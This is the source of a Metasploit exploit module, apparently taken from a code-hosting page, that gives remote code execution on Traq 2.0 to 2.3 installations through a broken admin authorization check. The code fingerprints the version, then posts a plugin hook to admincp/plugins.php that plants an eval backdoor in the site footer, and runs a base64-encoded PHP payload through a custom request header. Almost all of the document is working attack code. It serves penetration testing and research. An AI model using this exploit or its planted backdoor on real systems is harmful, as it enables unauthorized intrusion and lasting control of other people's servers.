adfoster-r7
114 lines
3.1 KiB
Ruby
114 lines
3.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Traq admincp/common.php Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits an arbitrary command execution vulnerability in
|
|
Traq 2.0 to 2.3. It's in the admincp/common.php script.
|
|
|
|
This function is called in each script located in the /admicp/ directory to
|
|
make sure the user has admin rights. This is a broken authorization schema
|
|
because the header() function doesn't stop the execution flow.
|
|
This can be exploited by malicious users to execute admin functionality,
|
|
e.g. execution of arbitrary PHP code leveraging of plugins.php functionality.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'EgiX', # Vulnerability discovery and exploit
|
|
'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit Module
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2011-10013' ],
|
|
[ 'OSVDB', '77556'],
|
|
[ 'EDB', '18213' ],
|
|
[ 'URL', 'http://traqproject.org/' ],
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' => {
|
|
'Keys' => ['php'],
|
|
'Space' => 4000,
|
|
'DisableNops' => true,
|
|
},
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [[ 'Automatic', {} ]],
|
|
'DisclosureDate' => '2011-12-12',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Reliability' => UNKNOWN_RELIABILITY,
|
|
'Stability' => UNKNOWN_STABILITY,
|
|
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('URI', [true, "The path to the Traq installation", "/"]),
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
uri = normalize_uri(datastore['URI'], "admincp", "login.php")
|
|
|
|
res = send_request_raw(
|
|
{
|
|
'uri' => uri
|
|
}, 25
|
|
)
|
|
|
|
if (res and res.body =~ /Powered by Traq 2.[0-3]/)
|
|
return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe('The target is not vulnerable')
|
|
end
|
|
|
|
def exploit
|
|
p = Rex::Text.encode_base64(payload.encoded)
|
|
|
|
uri = normalize_uri(datastore['URI'], "admincp", "plugins.php") + "?newhook"
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'POST',
|
|
'uri' => uri,
|
|
'vars_post' =>
|
|
{
|
|
'plugin_id' => '1',
|
|
'title' => '1',
|
|
'execorder' => '0',
|
|
'hook' => 'template_footer',
|
|
'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;'
|
|
}
|
|
}, 25
|
|
)
|
|
|
|
uri = normalize_uri(datastore['URI'], "index.php")
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'GET',
|
|
'uri' => uri,
|
|
'headers' =>
|
|
{
|
|
'CMD' => p,
|
|
'Connection' => 'Close',
|
|
},
|
|
}, 25
|
|
)
|
|
end
|
|
end
|